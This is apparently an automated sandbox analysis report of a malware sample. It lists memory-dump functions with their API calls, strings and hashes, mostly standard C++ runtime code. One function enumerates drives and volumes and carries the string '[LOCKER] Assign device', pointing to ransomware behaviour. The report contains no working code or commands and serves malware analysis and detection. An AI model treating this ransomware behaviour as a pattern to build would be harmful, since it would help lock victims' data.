Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: bd06c12eae01c964221afff8450bafc7be70cf2569f0a31fb6aec610ddc51384
Instruction ID: 75b67a0eb4f9a822d58c5b6b99b1fd85d04b6012a82fc6f1932a43ab55ee6e87
Opcode Fuzzy Hash: bd06c12eae01c964221afff8450bafc7be70cf2569f0a31fb6aec610ddc51384
Instruction Fuzzy Hash: 1211CEB6900A188BCF04EBA4C955FEDB3B5AF84310F56450DF4226B292DF709E01C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9741, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9748
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9752

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9772
std::_Facet_Register.LIBCPMT ref: 00AC97A3
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC97C3
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC97E1

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 7ca713c0c22bab1cc50895f3337c44e3defb90a14fcd75f8bc8d6399536dc266
Instruction ID: 55aed190be93dca79c8b4c51a3de6208c7724db644ee3aaaca16e6da3bec9337
Opcode Fuzzy Hash: 7ca713c0c22bab1cc50895f3337c44e3defb90a14fcd75f8bc8d6399536dc266
Instruction Fuzzy Hash: 1411C276900619DBCF04EBA4C98AFEEB3B5AF84310F16040DF811AB392DF749A01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9BCB, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9BD2
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9BDC

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9BFC
std::_Facet_Register.LIBCPMT ref: 00AC9C2D
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9C4D
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9C6B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 09ed454e8ed6dc878856636c6e57c56ec26af6912ceb37164a625897133eff46
Instruction ID: 294be290f64fe013b7b89e5654c3f25d372542efba9847135014c0df725d4d91
Opcode Fuzzy Hash: 09ed454e8ed6dc878856636c6e57c56ec26af6912ceb37164a625897133eff46
Instruction Fuzzy Hash: B511A0769045198BCF04EBA4D94AFEEB3B5BF94310F16440DF821AB292DF749A11CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9B25, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9B2C
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9B36

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9B56
std::_Facet_Register.LIBCPMT ref: 00AC9B87
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9BA7
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9BC5

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 386e4ab43cf4170681d2587bbc88c54180c29f9e1ab088017dba20f370e0a75d
Instruction ID: 511748503183166baf01f6819e8800b278af57ff7a8fdf87efcfc71e5cb23e90
Opcode Fuzzy Hash: 386e4ab43cf4170681d2587bbc88c54180c29f9e1ab088017dba20f370e0a75d
Instruction Fuzzy Hash: C4119E769006199BCF05EBA4D946FEEB3B9BF44310F56040DF41167292DF749E01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9C71, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9C78
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9C82

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9CA2
std::_Facet_Register.LIBCPMT ref: 00AC9CD3
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9CF3
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9D11

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 92afc082ff65e5ddc3e2be60dca25c4b1b58d118acf0c23e30baf6bdd87226f6
Instruction ID: bbbaf15ae0abb49a7c153356ce8a3b3d59bbc5d6a3c8f31d33e9eee704ed427d
Opcode Fuzzy Hash: 92afc082ff65e5ddc3e2be60dca25c4b1b58d118acf0c23e30baf6bdd87226f6
Instruction Fuzzy Hash: 4811C676900519CBCF05EB64DA85FEE73F5AF44710F56040DF8116B292DF749A01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9D17, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9D1E
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9D28

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9D48
std::_Facet_Register.LIBCPMT ref: 00AC9D79
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9D99
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9DB7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 669bdf03a65fb5cfcd53e1ccc2608889b20f5c9f3c5bb423118529b4f8386305
Instruction ID: 33bd03e61d1cfa6311fa6e05304fb2c735485b9b2c6b524f61fc8f4be1b53469
Opcode Fuzzy Hash: 669bdf03a65fb5cfcd53e1ccc2608889b20f5c9f3c5bb423118529b4f8386305
Instruction Fuzzy Hash: 3111A3769006198BCF15EBA4C945FEE73B5BF95310F56040DF4127B292DF749A01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9FAF, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9FB6
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9FC0

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9FE0
std::_Facet_Register.LIBCPMT ref: 00ACA011
std::_Lockit::~_Lockit.LIBCPMT ref: 00ACA031
__CxxThrowException@8.LIBVCRUNTIME ref: 00ACA04F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 0403fc33282482557438a02b5cebcf4fb679313874da9157b8d15c1c0d52300c
Instruction ID: bae6778252823cce39a1d1aaac6ea23ff1c3e5f56ca3514bbe678b0d850dd27a
Opcode Fuzzy Hash: 0403fc33282482557438a02b5cebcf4fb679313874da9157b8d15c1c0d52300c
Instruction Fuzzy Hash: 9811E0369006198BCF10EBA4C946FFDB7B5BF54310F56000DF422AB292DFB09A01C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9F09, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9F10
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9F1A

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9F3A
std::_Facet_Register.LIBCPMT ref: 00AC9F6B
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9F8B
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9FA9

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowstd::locale::_
String ID:
API String ID: 4117319562-0
Opcode ID: 1ceb6b8ff043f3b0e0226c199338231baa1991d7e8c6bce4ae25672b966a1a4e
Instruction ID: 0ea4fc1fb56690a87b5c50c972cc427f9f55a30f6aae1546d7a55537b4ec3b12
Opcode Fuzzy Hash: 1ceb6b8ff043f3b0e0226c199338231baa1991d7e8c6bce4ae25672b966a1a4e
Instruction Fuzzy Hash: FC11A0769006198BCF04EBA4CA4AFEEB3B5BF94310F56444DF421AB292DF749E01C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00ABC970, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 00ABD0D0: GetLogicalDrives.KERNEL32 ref: 00ABD119
Part of subcall function 00ABD0D0: std::ios_base::good.LIBCPMTD ref: 00ABD15D
Part of subcall function 00ABD0D0: _Smanip.LIBCPMTD ref: 00ABD18B
Part of subcall function 00ABD0D0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABD1E6

Part of subcall function 00ABCBF0: FindFirstVolumeW.KERNEL32(?,00000104,?,0000000C,80D348A2), ref: 00ABCC6D
Part of subcall function 00ABCBF0: FindVolumeClose.KERNEL32(000000FF,?,0000000C,80D348A2), ref: 00ABCE8C
Part of subcall function 00ABCBF0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABCEB0

std::ios_base::good.LIBCPMTD ref: 00ABCA3D
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABCB11
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABCB19

Strings

letter , xrefs: 00ABCA82
[LOCKER] Assign device , xrefs: 00ABCA8B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Container_base12Container_base12::~_std::_$FindVolumestd::ios_base::good$CloseDrivesFirstLogicalSmanip
String ID: letter $[LOCKER] Assign device
API String ID: 448289421-874473924
Opcode ID: 368782be4adcc1247e3e9bf1d90c8c244d32aef8ec85829fcac1b62abc083c1d
Instruction ID: c29b517d3e30723d0469a362aab0b85f42f7aeccdf17669c8549bb6efb5be76e
Opcode Fuzzy Hash: 368782be4adcc1247e3e9bf1d90c8c244d32aef8ec85829fcac1b62abc083c1d
Instruction Fuzzy Hash: 6F412971E002189BCB14EB64DD52BEEB7B9BF55304F4441A9E00AA72D2EF746A45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4A45, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD4A4C
swprintf.LIBCMT ref: 00AD4AC2
std::locale::locale.LIBCPMT ref: 00AD4AD3
ctype.LIBCPMT ref: 00AD4B4E

Strings

%.0Lf, xrefs: 00AD4ABA

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog3_ctypestd::locale::localeswprintf
String ID: %.0Lf
API String ID: 3003348135-1402515088
Opcode ID: 0551e6a4a28444555fb7d8a3259b797b021e7d29a5d2cb51a9beb66116ae5972
Instruction ID: 9d49457830619961ba6450026f069e15b86b49ab7d118c2b5fbf58698f89e47d
Opcode Fuzzy Hash: 0551e6a4a28444555fb7d8a3259b797b021e7d29a5d2cb51a9beb66116ae5972
Instruction Fuzzy Hash: 89418872D00218ABCF05EFD0D949BDD7BB9FF08340F50844AF856AB2A1DB759A19CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4CE5, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD4CEC
swprintf.LIBCMT ref: 00AD4D62
std::locale::locale.LIBCPMT ref: 00AD4D73
ctype.LIBCPMT ref: 00AD4DEE

Strings

%.0Lf, xrefs: 00AD4D5A

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog3_ctypestd::locale::localeswprintf
String ID: %.0Lf
API String ID: 3003348135-1402515088
Opcode ID: d06eb9209bcf9cad02c0d4224f3500438477bb888d154c79ea6dbb3a1feb7566
Instruction ID: c6eba56e28509ed461bfde40116f1a6848d450fcbae09b4632aad498ee491d96
Opcode Fuzzy Hash: d06eb9209bcf9cad02c0d4224f3500438477bb888d154c79ea6dbb3a1feb7566
Instruction Fuzzy Hash: B9415772D00218ABCF05EFD4D949BDEBBB9BF08300F108549F856AB2A5DB759919CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9220, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD9227
swprintf.LIBCMT ref: 00AD929D
std::locale::locale.LIBCPMT ref: 00AD92AE
ctype.LIBCPMT ref: 00AD9326

Strings

%.0Lf, xrefs: 00AD9295

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog3_ctypestd::locale::localeswprintf
String ID: %.0Lf
API String ID: 3003348135-1402515088
Opcode ID: 5574a167174c2e07569bf496c23f788b4df35ece7af280f02efaf37226838a5f
Instruction ID: b078414e6c03268d3a97aea9e3accc6b500e798810cbeb71da7ed4fc7baeacc8
Opcode Fuzzy Hash: 5574a167174c2e07569bf496c23f788b4df35ece7af280f02efaf37226838a5f
Instruction Fuzzy Hash: F0417872D00218ABCF05EFD0D945ADEBBB9FF08300F10454AE456AB296DB759A19CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00AD90D0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD90D7
std::locale::locale.LIBCPMT ref: 00AD90F4

Part of subcall function 00AC35CB: __EH_prolog3.LIBCMT ref: 00AC35D2
Part of subcall function 00AC35CB: std::_Lockit::_Lockit.LIBCPMT ref: 00AC35DC
Part of subcall function 00AC35CB: std::locale::_Getfacet.LIBCPMT ref: 00AC35FC
Part of subcall function 00AC35CB: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC364D

_Find_unchecked1.LIBCPMT ref: 00AD9181

Strings

0123456789-, xrefs: 00AD911E
0123456789-, xrefs: 00AD9123

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockitstd::_$Find_unchecked1GetfacetH_prolog3H_prolog3_Lockit::_Lockit::~_std::locale::_std::locale::locale
String ID: 0123456789-$0123456789-
API String ID: 2591705780-2494171821
Opcode ID: f8e22b651842aff2f8473af02a24b8d9860941e740e3cc8a4a0961cef2af488e
Instruction ID: 04c592ca7bae39c4ae65dfb0b6b939ebc2bdadce12f9504b35adeec33b2a14dc
Opcode Fuzzy Hash: f8e22b651842aff2f8473af02a24b8d9860941e740e3cc8a4a0961cef2af488e
Instruction Fuzzy Hash: 5F415932900209EFCF05DF94D985BEEBBB9BF18304F10019AF912AB252DB759A16CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6232, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00AF61E3,?,?,00AF61AB,00AB315C,?), ref: 00AF6252
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AF6265
FreeLibrary.KERNEL32(00000000,?,?,?,00AF61E3,?,?,00AF61AB,00AB315C,?), ref: 00AF6288

Strings

CorExitProcess, xrefs: 00AF625D
mscoree.dll, xrefs: 00AF624B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2d26dd8156ae481841a0abdc377124e4d6b06f33f756e9003b001831124fb68a
Instruction ID: d5da78721e2e821b56d10c2b42f924f21e35f14f665f74af55353bcf74d61247
Opcode Fuzzy Hash: 2d26dd8156ae481841a0abdc377124e4d6b06f33f756e9003b001831124fb68a
Instruction Fuzzy Hash: 68F08C71A0020CFBCB219BA4EC09BEDBBB8EB44751F9041A8B905A3260CFB05A50CA91

Uniqueness

Uniqueness Score: -1.00%

Function 00AE7B33, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00AE7B47
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00AE7B6B
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE7B7E
__CxxThrowException@8.LIBVCRUNTIME ref: 00AE7B8C

Strings

pScheduler, xrefs: 00AE7B76

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 3657713681-923244539
Opcode ID: 884176ee86959f7ef3984cb156bff3836dc5a732f66776561eb8d98f020d8247
Instruction ID: 8bb60575fc3fb943b954302205090094e067172fd19b201c5e0a59d64884310b
Opcode Fuzzy Hash: 884176ee86959f7ef3984cb156bff3836dc5a732f66776561eb8d98f020d8247
Instruction Fuzzy Hash: DCF09E31600144ABC720FB15D942C9EF3B99E90720320815DE51317281DF70EE07C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 00ABCBF0, Relevance: 7.7, APIs: 5, Instructions: 169COMMON

Download Yara Rule

APIs

FindFirstVolumeW.KERNEL32(?,00000104,?,0000000C,80D348A2), ref: 00ABCC6D
QueryDosDeviceW.KERNEL32(?,?,00000104,?,?,?,?,0000000C,80D348A2), ref: 00ABCDB3
FindNextVolumeW.KERNEL32(000000FF,?,00000104,?,?,?,?,0000000C,80D348A2), ref: 00ABCE77
FindVolumeClose.KERNEL32(000000FF,?,0000000C,80D348A2), ref: 00ABCE8C
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABCEB0

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
